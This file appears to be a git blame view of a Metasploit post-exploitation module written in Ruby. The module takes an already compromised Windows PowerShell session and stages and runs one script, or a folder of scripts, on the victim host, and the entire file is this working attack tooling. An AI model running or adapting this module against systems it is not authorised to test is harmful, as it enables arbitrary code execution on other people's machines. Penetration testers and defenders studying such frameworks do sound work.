2015-05-19 14:06:41 +01:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-05-19 14:06:41 +01:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Post
|
2015-05-19 14:06:41 +01:00
|
|
|
include Msf::Post::Windows::Powershell
|
|
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
|
super(update_info(info,
|
2015-05-19 16:08:43 +01:00
|
|
|
'Name' => "Load Scripts Into PowerShell Session",
|
2015-05-19 14:06:41 +01:00
|
|
|
'Description' => %q{
|
2015-05-25 15:48:27 +01:00
|
|
|
This module will download and execute one or more PowerShell script
|
|
|
|
|
s over a present powershell session.
|
2015-05-19 16:17:11 +01:00
|
|
|
Setting VERBOSE to true will show the stager results.
|
2015-05-19 14:06:41 +01:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => ['win'],
|
|
|
|
|
'SessionTypes' => ['powershell'],
|
2015-05-19 16:06:44 +01:00
|
|
|
'Author' => [
|
|
|
|
|
'Ben Turner benpturner[at]yahoo.com',
|
|
|
|
|
'Dave Hardy davehardy20[at]gmail.com'
|
2015-05-19 14:06:41 +01:00
|
|
|
]
|
|
|
|
|
))
|
|
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
2015-08-16 10:47:20 +01:00
|
|
|
OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
|
|
|
|
|
OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts'])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2015-05-19 14:06:41 +01:00
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def run
|
2015-05-25 15:48:27 +01:00
|
|
|
if datastore['SCRIPT']
|
2015-05-29 03:42:25 -04:00
|
|
|
stage_psh_env(datastore['SCRIPT'])
|
2015-05-25 15:48:27 +01:00
|
|
|
end
|
|
|
|
|
if datastore['FOLDER']
|
|
|
|
|
files = ::Dir.entries(datastore['FOLDER'])
|
|
|
|
|
files.reject! { |u| %w(. ..).include?(u) }
|
2015-05-29 03:42:25 -04:00
|
|
|
files.each do |script| stage_psh_env(datastore['FOLDER'] + script) end
|
2015-05-19 15:47:30 +01:00
|
|
|
end
|
2015-05-19 14:06:41 +01:00
|
|
|
end
|
2015-05-19 15:47:30 +01:00
|
|
|
end
|